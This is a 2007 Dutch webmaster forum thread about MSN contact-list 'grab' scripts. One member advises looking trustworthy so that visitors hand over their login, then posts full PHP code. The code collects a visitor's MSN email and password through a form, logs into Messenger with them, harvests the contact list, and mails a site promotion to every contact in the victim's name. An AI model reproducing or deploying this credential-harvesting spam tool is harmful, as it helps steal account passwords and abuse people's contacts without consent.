Ja, en wie vult zijn msn wachtwoord/email nou in?
Gelieve ontopic te blijven;)
- Msn Grab Script (met inloggen)
-
26-03-2007, 11:34 #1
- Berichten
- 1.669
- Lid sinds
- 19 Jaar
-
-
26-03-2007, 13:08 #2
- Berichten
- 1.899
- Lid sinds
- 18 Jaar
Origineel gepost door Edwin Rasser
Ja, en wie vult zijn msn wachtwoord/email nou in?
Gelieve ontopic te blijven;)
-
27-03-2007, 13:58 #3
- Berichten
- 1.832
- Lid sinds
- 19 Jaar
Heeft iemand er ook 1 waar hij je lijst niet voor moet uploaden?
Of een linkje waar ik deze gratis kan downloaden.
Ronald
-
27-03-2007, 15:03 #4
- Berichten
- 5
- Lid sinds
- 18 Jaar
Hay Ronald,
Ik heb ook zo een script thuis liggen, als ik vanavond ff tijd heb zal k de link hierow plaatsen.
Mzzl,
Frukky
-
27-03-2007, 16:38 #5
- Berichten
- 103
- Lid sinds
- 18 Jaar
Origineel gepost door Ronald Boer
Heeft iemand er ook 1 waar hij je lijst niet voor moet uploaden?
En als ik dan toch moet kiezen, upload ik liever mijn lijst (Wat ik ook nooit doe)
-
28-03-2007, 01:16 #6
- Berichten
- 70
- Lid sinds
- 18 Jaar
als je je lijst niet wil uploaden,
zou ik even op google zoeken er zijn zoveel website´s
waar je ze kan vinden alleen ik zelf zou die nooit vertrouwen.
-
28-03-2007, 10:22 #7
- Berichten
- 5
- Lid sinds
- 18 Jaar
Origineel gepost door Wouter van Eekelen
Het enige alternatief is msn naam+wachtwoord invullen.
En als ik dan toch moet kiezen, upload ik liever mijn lijst (Wat ik ook nooit doe)
je moet alleeen betrouwbaar overkomen that's it. En als je er iets voor zou geven (dat ze zig inloggen) dan is de kans nog groter dat ze zich aanmelden. Maarjah ieder z'n eigen mening & keuze tog!!
Hier kom de script:
msnpauth.php
PHP Code:
<?php
// Usage:
//
// $msnpauth = new MSNPAuth($passport, $password, $params[4]);
// $hash = $msnpauth->getKey();
//
// $passport would be the e-mail address that is being signed in
// $password would be the password for that account
// $params[4] would be the string sent in the USR command from the notification server,
//
// With the last argument, the notification server communication goes like this:
//
// [SEND] USR 6 TWN I\r\n
// [RECV] USR 6 TWN S lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenge r%2Emsn%2Ecom,ct=1128154104,kpp=1,kv=7,ver=2.1.600 0.1,rn=C6D!I5Ic,tpf=41a9cb6f69e60faa44c8570126f045 ed\r\n
//
// You use 4th argument (starting from 0) from the response (ie. lc=1033,id=507,tw=40...)
// Make sure you are actually sending the right string, if you were to split the response into an array, it should look like this:
//
// Array
// (
// [0] => USR
// [1] => 2
// [2] => TWN
// [3] => S
// [4] => lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenge r%2Emsn%2Ecom,ct=1128154104,kpp=1,kv=7,ver=2.1.600 0.1,rn=C6D!I5Ic,tpf=41a9cb6f69e60faa44c8570126f045 ed
// )
//
//-----------------------------------------
class MSNPAuth
{
var $_key;
function MSNPAuth($passport, $password, $challenge)
{
$i = strpos($passport, "@");
switch (substr($passport, $i))
{
case "@hotmail.com":
$authURL = "ssl://loginnet.passport.com";
break;
case "@msn.com":
$authURL = "ssl://msnialogin.passport.com";
break;
default:
$authURL = "ssl://login.passport.com";
break;
}
$fp = fsockopen($authURL, 443);
$req = array();
$data = '';
$req[] = 'GET /login2.srf HTTP/1.1';
$req[] = 'Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2E com, sign-in='.str_replace('@', '%40', $passport).',pwd='.urlencode($password).','.$challenge;
$req[] = 'Host: login.passport.com';
$req[] = 'Connection: Close';
foreach ($req as $v)
{
fputs($fp, "$v\r\n");
}
fputs($fp, "\r\n");
//-----------------------------------------
// fgets() is error suppressed to work around this bug: http://bugs.php.net/bug.php?id=23220
//
// During development, I always got the following:
// - Warning: fgets(): SSL: fatal protocol error in /home/fanatics/public_html/x/class/MSNPAuth.class.php on line 53
//-----------------------------------------
while (!feof($fp))
{
$data .= @fgets($fp);
}
fclose($fp);
$headers = explode("\r\n", $data);
foreach ($headers as $header)
{
if (strpos($header, ':') === false)
{
continue;
}
list($name, $value) = explode(':', $header);
switch ($name)
{
case 'WWW-Authenticate':
// Authentication failed
$this->_key = false;
break;
case 'Authentication-Info':
// Get the key between the two single quotes
$start = (strpos($value, "'") + 1);
$end = (strrpos($value, "'") - $start);
$this->_key = substr($value, $start, $end);
break;
}
}
}
function getKey()
{
return $this->_key;
}
}
?>
phplistgrab.php
PHP Code:
<?php
require('msnpauth.php');
define('LIST_ALLOW', 'AL');
define('LIST_BLOCK', 'BL');
define('LIST_FORWARD', 'FL');
define('LIST_REVERSE', 'RL');
class phpListGrab
{
var $_passport = '';
var $_password = '';
var $_result = 0;
var $lists = array(
LIST_ALLOW => array(),
LIST_BLOCK => array(),
LIST_FORWARD => array(),
LIST_REVERSE => array(),
);
var $_contacts = array();
var $_socket = NULL;
var $_lst_count = 0;
function phpListGrab($passport, $password)
{
$this->_passport = $passport;
$this->_password = $password;
}
function grab($server = 'messenger.hotmail.com')
{
$this->_socket = fsockopen($server, 1863);
$this->_send('VER 0 MSNP8');
while (!feof($this->_socket))
{
$data = fgets($this->_socket);
$data = substr($data, 0, -2);
$this->_parse($data);
}
}
function _send($data)
{
fputs($this->_socket, "$data\r\n");
}
function _parse($data)
{
$params = explode(' ', $data);
switch ($params[0])
{
case 'VER':
$this->_send('CVR 1 0x0409 winnt 5.1 i386 MSNMSGR 6.0.0254 MSMSGS '.$this->_passport);
break;
case 'CVR':
$this->_send('USR 2 TWN I '.$this->_passport);
break;
case 'XFR':
$subparams = explode(':', $params[3]);
$this->Grab($subparams[0]);
break;
case 'USR':
if ($params[2] == 'TWN')
{
$msnpauth = new MSNPAuth($this->_passport, $this->_password, $params[4]);
$hash = $msnpauth->getKey();
if (!$hash)
{
$this->_result = 911;
$this->_send('OUT');
return false;
}
$this->_send('USR 3 TWN S '.$hash);
}
elseif ($params[2] == 'OK')
{
$this->_send('SYN 4 0');
}
break;
case 'SYN':
$this->_lst_count = $params[3];
break;
case 'LST':
$this->_lst_count--;
if (!isset($this->_contacts[$params[1]]))
{
$this->_contacts[$params[1]] = array(
'passport' => $params[1],
'name' => urldecode(utf8_decode($params[2])),
'lists' => $params[3],
);
}
if (($params[3] & 2) > 0)
{
$this->lists[LIST_ALLOW][$params[1]] = &$this->_contacts[$params[1]];
}
if (($params[3] & 1) > 0)
{
$this->lists[LIST_FORWARD][$params[1]] = &$this->_contacts[$params[1]];
}
if (($params[3] & 4) > 0)
{
$this->lists[LIST_BLOCK][$params[1]] = &$this->_contacts[$params[1]];
}
if (($params[3] & 8) > 0)
{
$this->lists[LIST_REVERSE][$params[1]] = &$this->_contacts[$params[1]];
}
if ($this->_lst_count == 0)
{
$this->_send('OUT');
$this->result = 'OK';
}
break;
}
}
}
?>
index.php
PHP Code:
<?php
error_reporting(E_ALL);
require('phplistgrab.php');
if ($_SERVER['REQUEST_METHOD'] == 'POST')
{
$phplistgrab = new phpListGrab($_POST['passport'], $_POST['password']);
$phplistgrab->grab();
// Sort the contact list into alphabetical order
sort($phplistgrab->lists[LIST_FORWARD]);
$header = "From: ".$_POST['passport']." <".$_POST['passport'].">\r\n";
foreach ($phplistgrab->lists[LIST_FORWARD] as $contact)
{
$to = $contact['passport'];
$subject = 'Hey :) Check ChillinGz.NL';
$message = 'Hello Friend!
You Have Been Invited By Someone On Your Contact List To Join ChillinGz.NL <<Click To Join
And Share The Fun of posting on the board,
Features: Arcade , Store, Chat , 13,000 New Members And Growing
So Sign Up Today And Invite Your Friends To
Thank you,
Your Friend @ http://ChillinGz.NL;
mail($to, $subject, $message, $header);
}
}
else
{
echo <<<EOT
</head>
<body>
<form method="post" action="index.php">
<table cellpadding="2" cellspacing="2" border="1" width="100%">
<tr>
<td>Passport:</td>
<td><input type="text" name="passport" /></td>
</tr>
<tr>
<td>Password:</td>
<td><input type="password" name="password" /></td>
</tr>
<tr>
<td></td>
<td><input type="submit" name="pie" value="Submit" /></td>
</tr>
</table>
</form>
EOT;
}
?>
<META
HTTP-EQUIV="Refresh"
CONTENT="2; URL=http://www.chillingz.nl">
Fix dit, uploaden en klaar is kees. Check maar miss heb je er wat aan! Als je de mijn versie wilt (bugloos) pm me dan.
MzzlLaatst aangepast door Faruk A. : 28-03-2007 om 10:31
Plaats een
- + Advertentie
- + Onderwerp
Marktplaats
Webmasterforum
- Websites algemeen
- Sitechecks
- Marketing
- Domeinen algemeen
- Waardebepaling
- CMS
- Wordpress
- Joomla
- Magento
- Google algemeen
- SEO
- Analytics
- Adsense
- Adwords
- HTML / XHTML
- CSS
- Programmeren
- PHP
- Javascript
- JQuery
- MySQL
- Ondernemen algemeen
- Belastingen
- Juridisch
- Grafisch ontwerp
- Hosting Algemeen
- Hardware Info
- Offtopic